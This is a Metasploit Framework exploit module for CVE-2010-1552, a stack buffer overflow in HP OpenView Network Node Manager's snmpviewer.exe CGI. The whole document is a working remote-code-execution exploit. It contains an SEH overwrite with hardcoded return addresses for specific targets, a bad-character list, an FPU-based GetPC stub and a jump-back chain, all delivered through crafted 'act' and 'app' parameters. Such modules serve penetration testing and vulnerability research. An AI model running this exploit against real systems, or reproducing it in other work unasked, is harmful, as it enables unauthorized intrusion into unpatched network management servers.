HP OpenView Network Node Manager snmpviewer.exe Buffer Overflow

`##  
# $Id: hp_nnm_snmpviewer_actapp.rb 12098 2011-03-23 15:47:20Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/snmpviewer.exe', :pattern => /Hewlett-Packard Development Company/ }  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HP OpenView Network Node Manager snmpviewer.exe Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53  
prior to NNM_01203. By making a specially crafted HTTP request to the "snmpviewer.exe"  
CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary  
code.  
  
The vulnerable code lies within the a function within "snmpviewer.exe" with a  
timestamp prior to April 7th, 2010. This vulnerability is triggerable via either a GET  
or POST request. The request must contain 'act' and 'app' parameters which, when  
combined, total more than the 1024 byte stack buffer can hold.  
  
It is important to note that this vulnerability must be exploited by overwriting SEH.  
While the saved return address can be smashed, a function call that occurs before  
the function returns calls "exit".  
} ,  
'Author' =>  
[  
'jduck' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 12098 $',  
'References' =>  
[  
[ 'CVE', '2010-1552' ],  
[ 'OSVDB', '64975' ],  
[ 'BID', '40068' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-083/' ],  
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02153379' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1024, # 1024 byte buffer..  
'BadChars' =>  
# Not sure why this one has a different set of bad chars...  
(  
(0x00..0x08).to_a + (0x0b..0x1f).to_a +  
[ 0x21, 0x26, 0x3c, 0x3e, 0x5b, 0x5d, 0x5e, 0x60, 0x7e, 0x7f ]  
).pack('C*'),  
'DisableNops' => true,  
# Manually use FPU to get EIP into ECX  
'PrependEncoder' => "\x89\xe2\xdb\xdb\xd9\x72\xf4\x59\x83\xe9\xf7",  
'EncoderOptions' => { 'BufferRegister' => 'ecx' },  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'HP OpenView Network Node Manager 7.53 w/NNM_01201',  
{  
'Ret' => 0x5a238ba7, # pop edx/pop ebp/ret - in ovsnmp.dll v1.30.10.9166  
}  
],  
[ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',  
{  
'Ret' => 0x71c069dd, # pop edx/pop ecx/ret - in ws2_32.dll v5.2.3790.3959  
}  
],  
[ 'Debug Target',  
{  
'Ret' => 0xdeadbeef, # crasher  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'May 11 2010'))  
  
register_options(  
[  
Opt::RPORT(80),  
], self.class)  
end  
  
def exploit  
  
print_status("Trying target #{target.name}...")  
  
cgi = '/OvCgi/snmpviewer.exe'  
  
# "ins" must be "load" or "content"  
ins_ok = [ 'load', 'content' ]  
ins = ins_ok[rand(ins_ok.length)]  
  
start = 'The specified Application/Action name is not defined.<p>Application:"'  
#middle = '"<p>Action:"'  
  
ia32 = Metasm::Ia32.new  
  
# SEH  
seh_offset = 1192  
seh_frame = rand_text(8)  
  
# Jump back to the payload, after p/p/r jumps to us.  
distance = seh_offset - start.length + seh_frame.length # dry run  
jmp_back = Metasm::Shellcode.assemble(ia32, "jmp $-" + distance.to_s).encode_string  
distance = seh_offset - start.length - jmp_back.length  
distance += 8 if ins == 'content'  
jmp_back = Metasm::Shellcode.assemble(ia32, "jmp $-" + distance.to_s).encode_string  
  
# A short jump back to the long jump back :)  
jmp_small = Metasm::Shellcode.assemble(ia32, "jmp $-" + jmp_back.length.to_s).encode_string  
  
# Fix up the SEH frame  
seh_frame[0,jmp_small.length] = jmp_small  
seh_frame[4,4] = [target.ret].pack('V')  
  
# Create the buffer  
buf = ''  
buf << payload.encoded  
pad = seh_offset - start.length - buf.length - jmp_back.length  
pad += 8 if ins == 'content'  
buf << rand_text(pad)  
buf << jmp_back  
buf << seh_frame  
  
app = buf  
  
# Force an exception writing off the end of the stack  
action = rand_text(1024)  
  
# Send the request  
if rand(2) > 0  
print_status("Sending exploit via POST request (ins=#{ins})...")  
res = send_request_cgi({  
'uri' => cgi,  
'method' => "POST",  
'vars_post' =>  
{  
'ins' => ins,  
'act' => action,  
'app' => app  
}  
}, 3)  
else  
print_status("Sending exploit via GET request (ins=#{ins})...")  
res = send_request_cgi({  
'uri' => cgi,  
'method' => "GET",  
'vars_get' =>  
{  
'ins' => ins,  
'act' => action,  
'app' => app  
}  
}, 3)  
end  
  
if res and res.code != 502  
print_error("Eek! We weren't expecting a response, but we got one")  
print_status(res.inspect) if datastore['NNM_DEBUG']  
end  
  
handler  
  
end  
  
def wfs_delay  
5  
end  
  
end  
`